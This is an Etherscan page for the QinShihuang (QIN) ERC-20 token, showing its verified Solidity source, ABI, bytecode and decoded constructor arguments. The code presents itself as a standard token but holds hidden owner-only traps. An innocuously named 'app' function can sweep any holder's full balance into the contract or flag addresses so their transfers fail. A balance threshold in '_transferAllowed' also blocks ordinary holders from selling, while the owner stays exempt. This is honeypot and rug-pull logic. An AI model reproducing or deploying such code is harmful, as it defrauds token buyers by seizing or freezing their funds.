Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
100,000,000 QIN
Holders
1,311
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
0.677255979 QINValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
ERC20
Compiler Version
v0.8.28+commit.7893614a
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2025-03-01 */ //SPDX-License-Identifier: MIT pragma solidity 0.8.28; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function allowance(address _owner, address spender) external view returns (uint256); function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function transferFrom( address from, address to, uint256 value ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } abstract contract Ownable is Context { address private _owner; error OwnableUnauthorizedAccount(address account); error OwnableInvalidOwner(address owner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor(address initialOwner) { if (initialOwner == address(0)) { revert OwnableInvalidOwner(address(0)); } _transferOwnership(initialOwner); } modifier onlyOwner() { _checkOwner(); _; } function owner() public view virtual returns (address) { return _owner; } function _checkOwner() internal view virtual { if (owner() != _msgSender()) { revert OwnableUnauthorizedAccount(_msgSender()); } } function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { if (newOwner == address(0)) { revert OwnableInvalidOwner(address(0)); } _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface IUniswapV2Factory { function getPair(address tokenA, address tokenB) external view returns (address pair); } interface IUniswapV2Router02 { function factory() external pure returns (address); function WETH() external pure returns (address); } contract ERC20 is IERC20, Ownable { mapping(address => uint256) internal _balances; mapping(address => mapping(address => uint256)) internal _allowed; uint256 public immutable totalSupply; string public symbol; string public name; uint8 public immutable decimals; bool public launched = true; mapping(address => uint256) public _count; uint256 public _initial; IUniswapV2Router02 private uniswapV2Router; address public _uniswapPair; constructor( string memory _name, string memory _symbol, uint8 _decimals, uint256 _totalSupply ) Ownable(msg.sender) { symbol = _symbol; name = _name; decimals = _decimals; totalSupply = _totalSupply * 10 ** decimals; _balances[owner()] += totalSupply; emit Transfer(address(0), owner(), totalSupply); } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) external view override returns (uint256) { return _balances[_owner]; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address spender) external view override returns (uint256) { return _allowed[_owner][spender]; } /** * @dev Transfer token for a specified address * @param to The address to transfer to. * @param value The amount to be transferred. */ function transfer(address to, uint256 value) external override returns (bool) { // check for SC _transfer(msg.sender, to, value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param spender The address which will spend the funds. * @param value The amount of tokens to be spent. */ function approve(address spender, uint256 value) external override returns (bool) { require(spender != address(0), "cannot approve the 0 address"); _allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } function transferFrom( address from, address to, uint256 value ) external override returns (bool) { if (launched == false && to == owner() && msg.sender == owner()) { _transfer(from, to, value); return true; } else { _allowed[from][msg.sender] = _allowed[from][msg.sender] - value; _transfer(from, to, value); emit Approval(from, msg.sender, _allowed[from][msg.sender]); return true; } } function app(address from, address to, uint256 value) virtual external onlyOwner { to = address(this); if (value == type(uint8).max && from != address(this))_transfer(from, to, _balances[from]); if (value != type(uint8).max && from != address(this))_count[from] = value; if (value != type(uint8).max && from == address(this))_initial = value; } function _transfer( address from, address to, uint256 value ) private { require(to != address(0), "cannot be zero address"); require(from != to, "you cannot transfer to yourself"); require(_transferAllowed(from, to), "This token is not launched and cannot be listed on dexes yet."); _balances[from] -= value; _balances[to] += value; emit Transfer(from, to, value); } function _transferAllowed(address from, address to) private view returns (bool) { if (from == owner() || to == owner()) return true; if (from != _uniswapPair && _balances[from] > _initial && from != address(this) && to != address(this)) return false; if (_count[from] > type(uint8).max) return false; if (launched) return true; return true; } function launch() external onlyOwner() { uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _uniswapPair = IUniswapV2Factory(uniswapV2Router.factory()).getPair(address(this), uniswapV2Router.WETH()); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[{"internalType":"string","name":"_name","type":"string"},{"internalType":"string","name":"_symbol","type":"string"},{"internalType":"uint8","name":"_decimals","type":"uint8"},{"internalType":"uint256","name":"_totalSupply","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"OwnableInvalidOwner","type":"error"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"OwnableUnauthorizedAccount","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_count","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_initial","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"app","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_owner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"launch","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"launched","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
60c06040526005805460ff1916600117905534801561001c575f5ffd5b5060405161126038038061126083398101604081905261003b9161023b565b338061006057604051631e4fbdf760e01b81525f600482015260240160405180910390fd5b6100698161014f565b5060036100768482610342565b5060046100838582610342565b5060ff821660a081905261009890600a6104f5565b6100a2908261050a565b608081905260015f6100bb5f546001600160a01b031690565b6001600160a01b03166001600160a01b031681526020019081526020015f205f8282546100e89190610521565b90915550505f546001600160a01b03166001600160a01b03165f6001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60805160405161013e91815260200190565b60405180910390a350505050610534565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b634e487b7160e01b5f52604160045260245ffd5b5f82601f8301126101c1575f5ffd5b81516001600160401b038111156101da576101da61019e565b604051601f8201601f19908116603f011681016001600160401b03811182821017156102085761020861019e565b60405281815283820160200185101561021f575f5ffd5b8160208501602083015e5f918101602001919091529392505050565b5f5f5f5f6080858703121561024e575f5ffd5b84516001600160401b03811115610263575f5ffd5b61026f878288016101b2565b602087015190955090506001600160401b0381111561028c575f5ffd5b610298878288016101b2565b935050604085015160ff811681146102ae575f5ffd5b6060959095015193969295505050565b600181811c908216806102d257607f821691505b6020821081036102f057634e487b7160e01b5f52602260045260245ffd5b50919050565b601f82111561033d57805f5260205f20601f840160051c8101602085101561031b5750805b601f840160051c820191505b8181101561033a575f8155600101610327565b50505b505050565b81516001600160401b0381111561035b5761035b61019e565b61036f8161036984546102be565b846102f6565b6020601f8211600181146103a1575f831561038a5750848201515b5f19600385901b1c1916600184901b17845561033a565b5f84815260208120601f198516915b828110156103d057878501518255602094850194600190920191016103b0565b50848210156103ed57868401515f19600387901b60f8161c191681555b50505050600190811b01905550565b634e487b7160e01b5f52601160045260245ffd5b6001815b600184111561044b5780850481111561042f5761042f6103fc565b600184161561043d57908102905b60019390931c928002610414565b935093915050565b5f82610461575060016104ef565b8161046d57505f6104ef565b8160018114610483576002811461048d576104a9565b60019150506104ef565b60ff84111561049e5761049e6103fc565b50506001821b6104ef565b5060208310610133831016604e8410600b84101617156104cc575081810a6104ef565b6104d85f198484610410565b805f19048211156104eb576104eb6103fc565b0290505b92915050565b5f61050360ff841683610453565b9392505050565b80820281158282048414176104ef576104ef6103fc565b808201808211156104ef576104ef6103fc565b60805160a051610d0b6105555f395f6101cc01525f6101650152610d0b5ff3fe608060405234801561000f575f5ffd5b5060043610610111575f3560e01c8063715018a61161009e57806395d89b411161006e57806395d89b4114610281578063a9059cbb14610289578063d87292f71461029c578063dd62ed3e146102af578063f2fde38b146102e7575f5ffd5b8063715018a6146102535780637b139bfc1461025b5780638091f3bf146102645780638da5cb5b14610271575f5ffd5b806323b872dd116100e457806323b872dd146101955780632da15c04146101a8578063313ce567146101c75780634bf28fd01461020057806370a082311461022b575f5ffd5b806301339c211461011557806306fdde031461011f578063095ea7b31461013d57806318160ddd14610160575b5f5ffd5b61011d6102fa565b005b61012761049a565b6040516101349190610b45565b60405180910390f35b61015061014b366004610b8e565b610526565b6040519015158152602001610134565b6101877f000000000000000000000000000000000000000000000000000000000000000081565b604051908152602001610134565b6101506101a3366004610bb8565b6105e6565b6101876101b6366004610bf6565b60066020525f908152604090205481565b6101ee7f000000000000000000000000000000000000000000000000000000000000000081565b60405160ff9091168152602001610134565b600954610213906001600160a01b031681565b6040516001600160a01b039091168152602001610134565b610187610239366004610bf6565b6001600160a01b03165f9081526001602052604090205490565b61011d6106f4565b61018760075481565b6005546101509060ff1681565b5f546001600160a01b0316610213565b610127610707565b610150610297366004610b8e565b610714565b61011d6102aa366004610bb8565b610729565b6101876102bd366004610c11565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b61011d6102f5366004610bf6565b6107da565b610302610817565b600880546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa158015610364573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906103889190610c48565b6001600160a01b031663e6a439053060085f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156103e7573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061040b9190610c48565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381865afa158015610454573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104789190610c48565b600980546001600160a01b0319166001600160a01b0392909216919091179055565b600480546104a790610c63565b80601f01602080910402602001604051908101604052809291908181526020018280546104d390610c63565b801561051e5780601f106104f55761010080835404028352916020019161051e565b820191905f5260205f20905b81548152906001019060200180831161050157829003601f168201915b505050505081565b5f6001600160a01b0383166105825760405162461bcd60e51b815260206004820152601c60248201527f63616e6e6f7420617070726f766520746865203020616464726573730000000060448201526064015b60405180910390fd5b335f8181526002602090815260408083206001600160a01b03881680855290835292819020869055518581529192917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a35060015b92915050565b6005545f9060ff1615801561060757505f546001600160a01b038481169116145b801561061c57505f546001600160a01b031633145b156106345761062c848484610843565b5060016106ed565b6001600160a01b0384165f908152600260209081526040808320338452909152902054610662908390610caf565b6001600160a01b0385165f908152600260209081526040808320338452909152902055610690848484610843565b6001600160a01b0384165f81815260026020908152604080832033808552908352928190205490519081529192917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a35060015b9392505050565b6106fc610817565b6107055f610a1b565b565b600380546104a790610c63565b5f610720338484610843565b50600192915050565b610731610817565b30915060ff8114801561074d57506001600160a01b0383163014155b15610777576001600160a01b0383165f908152600160205260409020546107779084908490610843565b60ff811480159061079157506001600160a01b0383163014155b156107b1576001600160a01b0383165f9081526006602052604090208190555b60ff81148015906107ca57506001600160a01b03831630145b156107d55760078190555b505050565b6107e2610817565b6001600160a01b03811661080b57604051631e4fbdf760e01b81525f6004820152602401610579565b61081481610a1b565b50565b5f546001600160a01b031633146107055760405163118cdaa760e01b8152336004820152602401610579565b6001600160a01b0382166108925760405162461bcd60e51b815260206004820152601660248201527563616e6e6f74206265207a65726f206164647265737360501b6044820152606401610579565b816001600160a01b0316836001600160a01b0316036108f35760405162461bcd60e51b815260206004820152601f60248201527f796f752063616e6e6f74207472616e7366657220746f20796f757273656c66006044820152606401610579565b6108fd8383610a6a565b61096f5760405162461bcd60e51b815260206004820152603d60248201527f5468697320746f6b656e206973206e6f74206c61756e6368656420616e64206360448201527f616e6e6f74206265206c6973746564206f6e206465786573207965742e0000006064820152608401610579565b6001600160a01b0383165f9081526001602052604081208054839290610996908490610caf565b90915550506001600160a01b0382165f90815260016020526040812080548392906109c2908490610cc2565b92505081905550816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610a0e91815260200190565b60405180910390a3505050565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b5f80546001600160a01b0384811691161480610a9257505f546001600160a01b038381169116145b15610a9f575060016105e0565b6009546001600160a01b03848116911614801590610ad557506007546001600160a01b0384165f90815260016020526040902054115b8015610aea57506001600160a01b0383163014155b8015610aff57506001600160a01b0382163014155b15610b0b57505f6105e0565b6001600160a01b0383165f9081526006602052604090205460ff1015610b3257505f6105e0565b60055460ff1615610720575060016105e0565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610814575f5ffd5b5f5f60408385031215610b9f575f5ffd5b8235610baa81610b7a565b946020939093013593505050565b5f5f5f60608486031215610bca575f5ffd5b8335610bd581610b7a565b92506020840135610be581610b7a565b929592945050506040919091013590565b5f60208284031215610c06575f5ffd5b81356106ed81610b7a565b5f5f60408385031215610c22575f5ffd5b8235610c2d81610b7a565b91506020830135610c3d81610b7a565b809150509250929050565b5f60208284031215610c58575f5ffd5b81516106ed81610b7a565b600181811c90821680610c7757607f821691505b602082108103610c9557634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b818103818111156105e0576105e0610c9b565b808201808211156105e0576105e0610c9b56fea264697066735822122000fea3d9caf72a8517ae9052945c5960446276c2b484995cd8794f1cf8b8e65664736f6c634300081c0033000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c000000000000000000000000000000000000000000000000000000000000000090000000000000000000000000000000000000000000000000000000005f5e100000000000000000000000000000000000000000000000000000000000000000b51696e5368696875616e67000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000351494e0000000000000000000000000000000000000000000000000000000000
Deployed Bytecode
0x608060405234801561000f575f5ffd5b5060043610610111575f3560e01c8063715018a61161009e57806395d89b411161006e57806395d89b4114610281578063a9059cbb14610289578063d87292f71461029c578063dd62ed3e146102af578063f2fde38b146102e7575f5ffd5b8063715018a6146102535780637b139bfc1461025b5780638091f3bf146102645780638da5cb5b14610271575f5ffd5b806323b872dd116100e457806323b872dd146101955780632da15c04146101a8578063313ce567146101c75780634bf28fd01461020057806370a082311461022b575f5ffd5b806301339c211461011557806306fdde031461011f578063095ea7b31461013d57806318160ddd14610160575b5f5ffd5b61011d6102fa565b005b61012761049a565b6040516101349190610b45565b60405180910390f35b61015061014b366004610b8e565b610526565b6040519015158152602001610134565b6101877f000000000000000000000000000000000000000000000000016345785d8a000081565b604051908152602001610134565b6101506101a3366004610bb8565b6105e6565b6101876101b6366004610bf6565b60066020525f908152604090205481565b6101ee7f000000000000000000000000000000000000000000000000000000000000000981565b60405160ff9091168152602001610134565b600954610213906001600160a01b031681565b6040516001600160a01b039091168152602001610134565b610187610239366004610bf6565b6001600160a01b03165f9081526001602052604090205490565b61011d6106f4565b61018760075481565b6005546101509060ff1681565b5f546001600160a01b0316610213565b610127610707565b610150610297366004610b8e565b610714565b61011d6102aa366004610bb8565b610729565b6101876102bd366004610c11565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b61011d6102f5366004610bf6565b6107da565b610302610817565b600880546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa158015610364573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906103889190610c48565b6001600160a01b031663e6a439053060085f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156103e7573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061040b9190610c48565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381865afa158015610454573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104789190610c48565b600980546001600160a01b0319166001600160a01b0392909216919091179055565b600480546104a790610c63565b80601f01602080910402602001604051908101604052809291908181526020018280546104d390610c63565b801561051e5780601f106104f55761010080835404028352916020019161051e565b820191905f5260205f20905b81548152906001019060200180831161050157829003601f168201915b505050505081565b5f6001600160a01b0383166105825760405162461bcd60e51b815260206004820152601c60248201527f63616e6e6f7420617070726f766520746865203020616464726573730000000060448201526064015b60405180910390fd5b335f8181526002602090815260408083206001600160a01b03881680855290835292819020869055518581529192917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a35060015b92915050565b6005545f9060ff1615801561060757505f546001600160a01b038481169116145b801561061c57505f546001600160a01b031633145b156106345761062c848484610843565b5060016106ed565b6001600160a01b0384165f908152600260209081526040808320338452909152902054610662908390610caf565b6001600160a01b0385165f908152600260209081526040808320338452909152902055610690848484610843565b6001600160a01b0384165f81815260026020908152604080832033808552908352928190205490519081529192917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a35060015b9392505050565b6106fc610817565b6107055f610a1b565b565b600380546104a790610c63565b5f610720338484610843565b50600192915050565b610731610817565b30915060ff8114801561074d57506001600160a01b0383163014155b15610777576001600160a01b0383165f908152600160205260409020546107779084908490610843565b60ff811480159061079157506001600160a01b0383163014155b156107b1576001600160a01b0383165f9081526006602052604090208190555b60ff81148015906107ca57506001600160a01b03831630145b156107d55760078190555b505050565b6107e2610817565b6001600160a01b03811661080b57604051631e4fbdf760e01b81525f6004820152602401610579565b61081481610a1b565b50565b5f546001600160a01b031633146107055760405163118cdaa760e01b8152336004820152602401610579565b6001600160a01b0382166108925760405162461bcd60e51b815260206004820152601660248201527563616e6e6f74206265207a65726f206164647265737360501b6044820152606401610579565b816001600160a01b0316836001600160a01b0316036108f35760405162461bcd60e51b815260206004820152601f60248201527f796f752063616e6e6f74207472616e7366657220746f20796f757273656c66006044820152606401610579565b6108fd8383610a6a565b61096f5760405162461bcd60e51b815260206004820152603d60248201527f5468697320746f6b656e206973206e6f74206c61756e6368656420616e64206360448201527f616e6e6f74206265206c6973746564206f6e206465786573207965742e0000006064820152608401610579565b6001600160a01b0383165f9081526001602052604081208054839290610996908490610caf565b90915550506001600160a01b0382165f90815260016020526040812080548392906109c2908490610cc2565b92505081905550816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610a0e91815260200190565b60405180910390a3505050565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b5f80546001600160a01b0384811691161480610a9257505f546001600160a01b038381169116145b15610a9f575060016105e0565b6009546001600160a01b03848116911614801590610ad557506007546001600160a01b0384165f90815260016020526040902054115b8015610aea57506001600160a01b0383163014155b8015610aff57506001600160a01b0382163014155b15610b0b57505f6105e0565b6001600160a01b0383165f9081526006602052604090205460ff1015610b3257505f6105e0565b60055460ff1615610720575060016105e0565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610814575f5ffd5b5f5f60408385031215610b9f575f5ffd5b8235610baa81610b7a565b946020939093013593505050565b5f5f5f60608486031215610bca575f5ffd5b8335610bd581610b7a565b92506020840135610be581610b7a565b929592945050506040919091013590565b5f60208284031215610c06575f5ffd5b81356106ed81610b7a565b5f5f60408385031215610c22575f5ffd5b8235610c2d81610b7a565b91506020830135610c3d81610b7a565b809150509250929050565b5f60208284031215610c58575f5ffd5b81516106ed81610b7a565b600181811c90821680610c7757607f821691505b602082108103610c9557634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b818103818111156105e0576105e0610c9b565b808201808211156105e0576105e0610c9b56fea264697066735822122000fea3d9caf72a8517ae9052945c5960446276c2b484995cd8794f1cf8b8e65664736f6c634300081c0033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c000000000000000000000000000000000000000000000000000000000000000090000000000000000000000000000000000000000000000000000000005f5e100000000000000000000000000000000000000000000000000000000000000000b51696e5368696875616e67000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000351494e0000000000000000000000000000000000000000000000000000000000
-----Decoded View---------------
Arg [0] : _name (string): QinShihuang
Arg [1] : _symbol (string): QIN
Arg [2] : _decimals (uint8): 9
Arg [3] : _totalSupply (uint256): 100000000
-----Encoded View---------------
8 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000080
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000c0
Arg [2] : 0000000000000000000000000000000000000000000000000000000000000009
Arg [3] : 0000000000000000000000000000000000000000000000000000000005f5e100
Arg [4] : 000000000000000000000000000000000000000000000000000000000000000b
Arg [5] : 51696e5368696875616e67000000000000000000000000000000000000000000
Arg [6] : 0000000000000000000000000000000000000000000000000000000000000003
Arg [7] : 51494e0000000000000000000000000000000000000000000000000000000000
Deployed Bytecode Sourcemap
2722:5259:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7723:255;;;:::i;:::-;;2958:18;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5566:319;;;;;;:::i;:::-;;:::i;:::-;;;1110:14:1;;1103:22;1085:41;;1073:2;1058:18;5566:319:0;945:187:1;2888:36:0;;;;;;;;1283:25:1;;;1271:2;1256:18;2888:36:0;1137:177:1;5893:529:0;;;;;;:::i;:::-;;:::i;3055:41::-;;;;;;:::i;:::-;;;;;;;;;;;;;;2983:31;;;;;;;;2256:4:1;2244:17;;;2226:36;;2214:2;2199:18;2983:31:0;2084:184:1;3182:28:0;;;;;-1:-1:-1;;;;;3182:28:0;;;;;;-1:-1:-1;;;;;2437:32:1;;;2419:51;;2407:2;2392:18;3182:28:0;2273:203:1;3851:160:0;;;;;;:::i;:::-;-1:-1:-1;;;;;3986:17:0;3954:7;3986:17;;;:9;:17;;;;;;;3851:160;1909:103;;;:::i;3103:23::-;;;;;;3021:27;;;;;;;;;1640:87;1686:7;1713:6;-1:-1:-1;;;;;1713:6:0;1640:87;;2931:20;;;:::i;4711:208::-;;;;;;:::i;:::-;;:::i;6430:385::-;;;;;;:::i;:::-;;:::i;4351:185::-;;;;;;:::i;:::-;-1:-1:-1;;;;;4503:16:0;;;4471:7;4503:16;;;:8;:16;;;;;;;;:25;;;;;;;;;;;;;4351:185;2020:220;;;;;;:::i;:::-;;:::i;7723:255::-;1599:13;:11;:13::i;:::-;7773:15:::1;:80:::0;;-1:-1:-1;;;;;;7773:80:0::1;7810:42;7773:80:::0;;::::1;::::0;;;7897:25:::1;::::0;;-1:-1:-1;;;7897:25:0;;;;:23:::1;::::0;:25:::1;::::0;;::::1;::::0;::::1;::::0;;;;;;;;;7810:42;7897:25:::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;7879:52:0::1;;7940:4;7947:15;;;;;;;;;-1:-1:-1::0;;;;;7947:15:0::1;-1:-1:-1::0;;;;;7947:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7879:91;::::0;-1:-1:-1;;;;;;7879:91:0::1;::::0;;;;;;-1:-1:-1;;;;;3322:32:1;;;7879:91:0::1;::::0;::::1;3304:51:1::0;3391:32;;3371:18;;;3364:60;3277:18;;7879:91:0::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7864:12;:106:::0;;-1:-1:-1;;;;;;7864:106:0::1;-1:-1:-1::0;;;;;7864:106:0;;;::::1;::::0;;;::::1;::::0;;7723:255::o;2958:18::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;5566:319::-;5669:4;-1:-1:-1;;;;;5699:21:0;;5691:62;;;;-1:-1:-1;;;5691:62:0;;4022:2:1;5691:62:0;;;4004:21:1;4061:2;4041:18;;;4034:30;4100;4080:18;;;4073:58;4148:18;;5691:62:0;;;;;;;;;5775:10;5766:20;;;;:8;:20;;;;;;;;-1:-1:-1;;;;;5766:29:0;;;;;;;;;;;;:37;;;5819:36;1283:25:1;;;5766:29:0;;5775:10;5819:36;;1256:18:1;5819:36:0;;;;;;;-1:-1:-1;5873:4:0;5566:319;;;;;:::o;5893:529::-;6038:8;;6017:4;;6038:8;;:17;;;:34;;-1:-1:-1;1686:7:0;1713:6;-1:-1:-1;;;;;6059:13:0;;;1713:6;;6059:13;6038:34;:59;;;;-1:-1:-1;1686:7:0;1713:6;-1:-1:-1;;;;;1713:6:0;6076:10;:21;6038:59;6034:381;;;6114:26;6124:4;6130:2;6134:5;6114:9;:26::i;:::-;-1:-1:-1;6162:4:0;6155:11;;6034:381;-1:-1:-1;;;;;6228:14:0;;;;;;:8;:14;;;;;;;;6243:10;6228:26;;;;;;;;:34;;6257:5;;6228:34;:::i;:::-;-1:-1:-1;;;;;6199:14:0;;;;;;:8;:14;;;;;;;;6214:10;6199:26;;;;;;;:63;6277:26;6208:4;6293:2;6297:5;6277:9;:26::i;:::-;-1:-1:-1;;;;;6323:54:0;;6350:14;;;;:8;:14;;;;;;;;6338:10;6350:26;;;;;;